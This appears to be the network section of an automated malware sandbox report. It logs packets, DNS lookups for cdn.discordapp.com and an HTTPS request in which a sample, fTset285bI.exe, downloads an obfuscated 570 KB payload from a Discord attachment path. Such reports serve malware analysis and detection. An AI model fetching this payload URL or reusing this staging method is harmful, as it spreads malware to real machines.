Sep 27, 2021 20:33:32.285706997 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.287403107 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.287478924 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.287559032 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.287568092 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.287607908 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.287623882 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.287666082 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.287678003 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.287738085 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.288942099 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.288966894 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.289056063 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.289067984 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.289120913 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.292370081 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.292404890 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.292535067 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.292551041 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.292562962 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.292678118 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.293289900 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.293325901 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.293423891 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.293436050 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.293503046 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.293528080 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.294481993 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.294635057 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.297488928 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.297549009 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.297604084 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.297620058 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.297646999 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.297681093 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.297693014 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.297724962 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.297782898 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.297792912 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.297835112 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.297884941 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.297945976 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.297976017 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.298026085 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.298034906 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.298060894 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.298084021 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.299649000 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.299674034 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.299777985 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.299793005 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.299803019 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.299885035 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.300512075 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.300539017 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.300585985 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.300597906 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.300618887 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.300640106 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.303488016 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.303520918 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.303617001 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.303631067 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.303719044 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.304280043 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.304307938 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.304372072 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.304380894 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.304425955 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.304505110 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.304533958 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.304579973 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.304589033 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.304615021 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.304645061 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.306027889 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.306055069 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.306123018 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.306143999 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.306235075 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.306282997 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.306988955 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.307012081 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.307101011 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.307128906 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.307195902 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.307653904 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.307679892 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.307768106 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.307782888 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.307853937 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.308044910 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.308065891 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.308135986 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.308149099 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.308243036 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.309134007 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.309156895 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.309216022 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.309233904 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.309277058 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.309302092 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.310266972 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.310287952 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.310347080 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.310362101 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.310425997 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.310477018 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.311661005 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.311685085 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.311755896 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.311772108 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.311827898 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.329529047 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.329560995 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.329632998 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.329655886 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.329674006 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.329678059 CEST	443	49746	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:32.329730988 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:32.928005934 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:48.289225101 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:48.289277077 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:56.779512882 CEST	49746	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:56.779556036 CEST	443	49746	162.159.130.233	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2021 20:32:43.260135889 CEST	54513	53	192.168.2.6	8.8.8.8
Sep 27, 2021 20:32:43.278390884 CEST	53	54513	8.8.8.8	192.168.2.6
Sep 27, 2021 20:32:51.209388971 CEST	62044	53	192.168.2.6	8.8.8.8
Sep 27, 2021 20:32:51.247601986 CEST	53	62044	8.8.8.8	192.168.2.6
Sep 27, 2021 20:33:15.680875063 CEST	63791	53	192.168.2.6	8.8.8.8
Sep 27, 2021 20:33:15.713073015 CEST	53	63791	8.8.8.8	192.168.2.6
Sep 27, 2021 20:33:22.707180023 CEST	64267	53	192.168.2.6	8.8.8.8
Sep 27, 2021 20:33:22.726521015 CEST	53	64267	8.8.8.8	192.168.2.6
Sep 27, 2021 20:33:23.052732944 CEST	49448	53	192.168.2.6	8.8.8.8
Sep 27, 2021 20:33:23.066644907 CEST	53	49448	8.8.8.8	192.168.2.6
Sep 27, 2021 20:33:32.046793938 CEST	60342	53	192.168.2.6	8.8.8.8
Sep 27, 2021 20:33:32.060390949 CEST	53	60342	8.8.8.8	192.168.2.6
Sep 27, 2021 20:33:34.544758081 CEST	61346	53	192.168.2.6	8.8.8.8
Sep 27, 2021 20:33:34.595491886 CEST	53	61346	8.8.8.8	192.168.2.6
Sep 27, 2021 20:33:48.365545034 CEST	51774	53	192.168.2.6	8.8.8.8
Sep 27, 2021 20:33:48.440615892 CEST	53	51774	8.8.8.8	192.168.2.6
Sep 27, 2021 20:33:49.100248098 CEST	56023	53	192.168.2.6	8.8.8.8
Sep 27, 2021 20:33:49.175796986 CEST	53	56023	8.8.8.8	192.168.2.6
Sep 27, 2021 20:33:49.941797018 CEST	58384	53	192.168.2.6	8.8.8.8
Sep 27, 2021 20:33:49.955749989 CEST	53	58384	8.8.8.8	192.168.2.6
Sep 27, 2021 20:33:50.251158953 CEST	60261	53	192.168.2.6	8.8.8.8
Sep 27, 2021 20:33:50.322485924 CEST	53	60261	8.8.8.8	192.168.2.6
Sep 27, 2021 20:33:51.204801083 CEST	56061	53	192.168.2.6	8.8.8.8
Sep 27, 2021 20:33:51.296394110 CEST	53	56061	8.8.8.8	192.168.2.6
Sep 27, 2021 20:33:51.838355064 CEST	58336	53	192.168.2.6	8.8.8.8
Sep 27, 2021 20:33:51.851916075 CEST	53	58336	8.8.8.8	192.168.2.6
Sep 27, 2021 20:33:52.154968023 CEST	53781	53	192.168.2.6	8.8.8.8
Sep 27, 2021 20:33:52.188756943 CEST	53	53781	8.8.8.8	192.168.2.6
Sep 27, 2021 20:33:52.662465096 CEST	54064	53	192.168.2.6	8.8.8.8
Sep 27, 2021 20:33:52.674926996 CEST	53	54064	8.8.8.8	192.168.2.6
Sep 27, 2021 20:33:54.591828108 CEST	52811	53	192.168.2.6	8.8.8.8
Sep 27, 2021 20:33:54.605716944 CEST	53	52811	8.8.8.8	192.168.2.6
Sep 27, 2021 20:33:56.124722004 CEST	55299	53	192.168.2.6	8.8.8.8
Sep 27, 2021 20:33:56.138997078 CEST	53	55299	8.8.8.8	192.168.2.6
Sep 27, 2021 20:33:56.708333969 CEST	63745	53	192.168.2.6	8.8.8.8
Sep 27, 2021 20:33:56.721702099 CEST	53	63745	8.8.8.8	192.168.2.6
Sep 27, 2021 20:33:57.878463984 CEST	50055	53	192.168.2.6	8.8.8.8
Sep 27, 2021 20:33:57.897161007 CEST	53	50055	8.8.8.8	192.168.2.6
Sep 27, 2021 20:34:11.804193020 CEST	61374	53	192.168.2.6	8.8.8.8
Sep 27, 2021 20:34:11.822096109 CEST	53	61374	8.8.8.8	192.168.2.6
Sep 27, 2021 20:34:14.024745941 CEST	50339	53	192.168.2.6	8.8.8.8
Sep 27, 2021 20:34:14.037570953 CEST	53	50339	8.8.8.8	192.168.2.6
Sep 27, 2021 20:34:21.378117085 CEST	63307	53	192.168.2.6	8.8.8.8
Sep 27, 2021 20:34:21.390757084 CEST	53	63307	8.8.8.8	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Sep 27, 2021 20:32:51.209388971 CEST	192.168.2.6	8.8.8.8	0xf742	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Sep 27, 2021 20:33:22.707180023 CEST	192.168.2.6	8.8.8.8	0x80f2	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Sep 27, 2021 20:33:32.046793938 CEST	192.168.2.6	8.8.8.8	0x4c45	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Sep 27, 2021 20:32:51.247601986 CEST	8.8.8.8	192.168.2.6	0xf742	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)
Sep 27, 2021 20:32:51.247601986 CEST	8.8.8.8	192.168.2.6	0xf742	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)
Sep 27, 2021 20:32:51.247601986 CEST	8.8.8.8	192.168.2.6	0xf742	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)
Sep 27, 2021 20:32:51.247601986 CEST	8.8.8.8	192.168.2.6	0xf742	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)
Sep 27, 2021 20:32:51.247601986 CEST	8.8.8.8	192.168.2.6	0xf742	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)
Sep 27, 2021 20:33:22.726521015 CEST	8.8.8.8	192.168.2.6	0x80f2	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)
Sep 27, 2021 20:33:22.726521015 CEST	8.8.8.8	192.168.2.6	0x80f2	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)
Sep 27, 2021 20:33:22.726521015 CEST	8.8.8.8	192.168.2.6	0x80f2	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)
Sep 27, 2021 20:33:22.726521015 CEST	8.8.8.8	192.168.2.6	0x80f2	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)
Sep 27, 2021 20:33:22.726521015 CEST	8.8.8.8	192.168.2.6	0x80f2	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)
Sep 27, 2021 20:33:32.060390949 CEST	8.8.8.8	192.168.2.6	0x4c45	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)
Sep 27, 2021 20:33:32.060390949 CEST	8.8.8.8	192.168.2.6	0x4c45	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)
Sep 27, 2021 20:33:32.060390949 CEST	8.8.8.8	192.168.2.6	0x4c45	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)
Sep 27, 2021 20:33:32.060390949 CEST	8.8.8.8	192.168.2.6	0x4c45	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)
Sep 27, 2021 20:33:32.060390949 CEST	8.8.8.8	192.168.2.6	0x4c45	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

cdn.discordapp.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49740	162.159.130.233	443	C:\Users\user\Desktop\fTset285bI.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-27 18:32:51 UTC	0	OUT	GET /attachments/836211098164265024/892047706770509844/Qybpdxzxxjklicipydzdiinowujxlof HTTP/1.1 User-Agent: lVali Host: cdn.discordapp.com
2021-09-27 18:32:51 UTC	0	IN	HTTP/1.1 200 OK Date: Mon, 27 Sep 2021 18:32:51 GMT Content-Type: application/octet-stream Content-Length: 569856 Connection: close CF-Ray: 6956d12b19d2374b-MXP Accept-Ranges: bytes Age: 13793 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=Qybpdxzxxjklicipydzdiinowujxlof ETag: "b006f7c6421d7b2136a4e9c6c2bfd063" Expires: Tue, 27 Sep 2022 18:32:51 GMT Last-Modified: Mon, 27 Sep 2021 13:59:06 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1632751146791713 x-goog-hash: crc32c=DogVig== x-goog-hash: md5=sAb3xkIdeyE2pOnGwr/QYw== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 569856 X-GUploader-UploadID: ADPycdu1OMyXkT98zxjTRHVCO1zlNFsznssLHgmWFlRZcv5cKjkTXw9N0FnQPsX2E6Gjb2u6fH3mZT6iQLSURgJ8_ww X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
2021-09-27 18:32:51 UTC	1	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 38 42 41 34 48 57 48 31 33 4e 71 4e 39 71 50 6b 7a 38 33 55 66 43 7a 33 53 6d 67 58 6d 35 48 50 48 51 73 56 47 74 41 57 42 70 4c 52 64 71 65 70 67 66 70 4d 41 4e 61 77 56 4c 64 38 52 57 75 70 62 6c 57 53 55 7a 69 4b 76 36 74 25 32 42 74 46 71 67 6d 43 35 55 48 76 4a 79 69 37 55 38 69 6c 68 4e 56 51 4a 36 52 6f 45 62 6d 68 39 62 68 66 31 62 25 32 42 62 6e 7a 43 33 68 72 50 57 31 4c 68 35 73 42 53 37 4f 4a 6b 41 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=8BA4HWH13NqN9qPkz83UfCz3SmgXm5HPHQsVGtAWBpLRdqepgfpMANawVLd8RWupblWSUziKv6t%2BtFqgmC5UHvJyi7U8ilhNVQJ6RoEbmh9bhf1b%2BbnzC3hrPW1Lh5sBS7OJkA%3D%3D"}],"group":"cf-nel","max_age":60
2021-09-27 18:32:51 UTC	1	IN	Data Raw: 19 c6 ec b4 32 7a aa 0e a0 08 90 64 f2 4d af b2 2a 6d 02 83 c4 d9 0e b7 b9 4c 35 81 38 0d 35 9d e7 36 09 12 b5 bd 4d af ad a8 13 37 8e 5a ce ed d8 8a 5f 63 77 20 53 5d 62 ff e2 a1 8d d8 9d e7 29 ef ca e2 a1 8d d8 9d f8 54 c6 e6 ab a0 16 a2 13 34 0c ab a5 96 6f 00 82 b0 24 58 dd 18 af b2 2a 6d 02 83 c4 d9 0e b7 b9 4c 35 81 38 0d 35 9d e7 36 09 12 b5 bd 4d af ad a8 13 37 8e 5a ce ed d8 8a 5f 63 77 20 53 5d 62 ff e2 a1 8d d8 9d e7 29 ef ca e2 a1 8d d8 9d f8 54 c6 e6 ab a0 16 a2 13 34 0c ab a5 96 6f 00 82 b0 24 58 dd 18 af b2 2a 6d 02 83 c4 d9 0e b7 b9 4c 35 81 38 0d 35 9d e7 36 09 12 b5 bd 4d af ad a8 13 37 8e 5a ce ed d8 8a 5f 63 77 20 53 5d 62 ff e2 a1 8d d8 9d e7 29 ef ca e2 a1 8d d8 9d f8 54 c6 e6 ab a0 16 a2 13 34 0c ab a5 96 6f 00 82 b0 24 58 dd 18 af Data Ascii: 2zdMmL5856M7Z_cw S]b)T4o$XmL5856M7Z_cw S]b)T4o$X*mL5856M7Z_cw S]b)T4o$X
2021-09-27 18:32:51 UTC	2	IN	Data Raw: 46 99 4e 6f be 60 41 1f 6f ad 04 3c bd e4 00 2a c4 69 b7 04 3f 30 c5 ec 12 10 13 9b 52 74 23 65 cf cc 5e 49 1b 6b ba 7a 16 18 0c 09 b3 1e e2 0b 94 dc 2d 42 89 73 a9 33 21 6a 2c c7 db ab 1d 7c 0b 8e f5 7d 9f 39 31 46 8c e5 87 62 5b cf d9 bb f2 f6 e5 81 80 0a 32 df a1 21 7d 8d 66 47 07 ad 08 37 24 f1 74 23 64 54 7c 1b 6e 24 f3 60 58 6c 33 30 d4 3f 2e db b5 06 3c be 71 aa a2 bc 71 bb e9 98 de 26 de 26 c3 e9 9d 57 fd 49 1b 72 2d 48 83 6d b0 9e ae 89 70 3b 3b 2c d0 46 99 4e 6f be 60 41 1f 6f ad 04 3c bd e4 00 2a c4 69 b7 04 3f 30 c5 ec 12 10 13 9b 52 74 23 65 cf cc 5e 49 1b 6b ba 7a 16 18 0c 09 b3 1e e2 0b 94 dc 2d 42 89 73 a9 33 21 6a 2c c7 db ab 1d 7c 0b 8e f5 7d 9f 39 31 46 8c e5 87 62 5b cf d9 bb f2 f6 e5 81 80 0a 32 df a1 21 7d 8d 66 47 07 ad 08 37 24 f1 Data Ascii: FNo`Ao<i?0Rt#e^Ikz-Bs3!j,\|}91Fb[2!}fG7$t#dT\|n$`Xl30?.<qq&&WIr-Hmp;;,FNo`Ao<i?0Rt#e^Ikz-Bs3!j,\|}91Fb[2!}fG7$
2021-09-27 18:32:51 UTC	4	IN	Data Raw: 98 de 26 de 26 c3 e9 9d 57 fd 49 1b 72 2d 48 83 6d b0 9e ae 89 70 3b 3b 2c d0 46 99 4e 6f be 60 41 1f 6f ad 04 3c bd e4 00 2a c4 69 b7 04 3f 30 c5 ec 12 10 13 9b 52 74 23 65 cf cc 5e 49 1b 6b ba 7a 16 18 0c 09 b3 1e e2 0b 94 dc 2d 42 89 73 a9 33 21 6a 2c c7 db ab 1d 7c 0b 8e f5 7d 9f 39 31 46 8c e5 87 62 5b cf d9 bb f2 f6 e5 81 80 0a 32 df a1 21 7d 8d 66 47 07 ad 08 37 24 f1 74 23 64 54 7c 1b 6e 24 f3 60 58 6c 33 30 d4 3f 2e db b5 06 3c be 71 aa a2 bc 71 bb e9 98 de 26 de 26 c3 e9 9d 57 fd 49 1b 72 2d 48 83 6d b0 9e ae 89 70 3b 3b 2c d0 46 99 4e 6f be 60 41 1f 6f ad 04 3c bd e4 00 2a c4 69 b7 04 3f 30 c5 ec 12 10 13 9b 52 74 23 65 cf cc 5e 49 1b 6b ba 7a 16 18 0c 09 b3 1e e2 0b 94 dc 2d 42 89 73 a9 33 21 6a 2c c7 db ab 1d 7c 0b 8e f5 7d 9f 39 31 46 8c e5 Data Ascii: &&WIr-Hmp;;,FNo`Ao<i?0Rt#e^Ikz-Bs3!j,\|}91Fb[2!}fG7$t#dT\|n$`Xl30?.<qq&&WIr-Hmp;;,FNo`Ao<i?0Rt#e^Ikz-Bs3!j,\|}91F
2021-09-27 18:32:51 UTC	5	IN	Data Raw: 54 7c 1b 6e 24 f3 60 58 6c 33 30 d4 3f 2e db b5 06 3c be 71 aa a2 bc 71 bb e9 98 de 26 de 26 c3 e9 9d 57 fd 49 1b 72 2d 48 83 6d b0 9e ae 89 70 3b 3b 2c d0 46 99 4e 6f be 60 41 1f 6f ad 04 3c bd e4 00 2a c4 69 b7 04 3f 30 c5 ec 12 10 13 9b 52 74 23 65 cf cc 5e 49 1b 6b ba 7a 16 18 0c 09 b3 1e e2 0b 94 dc 2d 42 89 73 a9 33 21 6a 2c c7 db ab 1d 7c 0b 8e f5 7d 9f 39 31 46 8c e5 87 62 5b cf d9 bb f2 f6 e5 81 80 0a 32 df a1 21 7d 8d 66 47 07 ad 08 37 24 f1 74 23 64 54 7c 1b 6e 24 f3 60 58 6c 33 30 d4 3f 2e db b5 06 3c be 71 aa a2 bc 71 bb e9 98 de 26 de 26 c3 e9 9d 57 fd 49 1b 72 2d 48 83 6d b0 9e ae 89 70 3b 3b 2c d0 46 99 4e 6f be 60 41 1f 6f ad 04 3c bd e4 00 2a c4 69 b7 04 3f 30 c5 ec 12 10 13 9b 52 74 23 65 cf cc 5e 49 1b 6b ba 7a 16 18 0c 09 b3 1e e2 0b Data Ascii: T\|n$`Xl30?.<qq&&WIr-Hmp;;,FNo`Ao<i?0Rt#e^Ikz-Bs3!j,\|}91Fb[2!}fG7$t#dT\|n$`Xl30?.<qq&&WIr-Hmp;;,FNo`Ao<i?0Rt#e^Ikz
2021-09-27 18:32:51 UTC	6	IN	Data Raw: ab 03 91 93 f9 d0 e6 58 5c 90 7b 9a 47 64 4d bf 2b 55 89 68 8c d4 2a b7 29 59 53 e3 ec 3d 3a 1a c6 5a 0b b2 96 1f f2 ef cd 05 56 da ef 73 8d d9 f2 1f a4 02 34 47 56 6a 38 af dd ce b5 86 34 58 ab 3e 50 be 6a fe a7 c4 da 9c d9 01 04 c8 e5 06 23 76 da 38 07 83 77 5f b2 95 0d 40 20 d7 b5 cb e9 98 07 b7 1f 15 58 31 07 d8 c2 6a dd 11 7c 5a 62 73 9a 77 2e 23 4a 7d aa 14 12 1b b5 a8 ba f9 76 11 83 7c 65 69 01 03 87 8a a5 39 1d 39 35 05 57 bd 73 a8 a5 93 fa f8 55 d0 b8 0f 9e 73 18 f1 19 c1 e6 d8 08 c8 9c 00 d1 a3 1a f0 90 6a 3e 16 c1 f3 5b 1d 3c 5c b8 ef 6e 25 70 9f 1a 19 c1 9a 21 af a2 54 c8 41 ac a1 ca 92 a3 36 7a d6 2e 00 95 5d 1c dc 21 57 c8 e9 77 b9 50 af 8e 9a e0 93 71 62 aa 1b 05 a5 9c 71 ba c7 27 05 93 eb a7 22 c2 a3 37 f0 65 c2 ad e5 83 6e 3a 8d d9 d0 f1 Data Ascii: X\{GdM+Uh*)YS=:ZVs4GVj84X>Pj#v8w_@ X1j\|Zbsw.#J}v\|ei995WsUsj>[<\n%p!TA6z.]!WwPqbq'"7en:
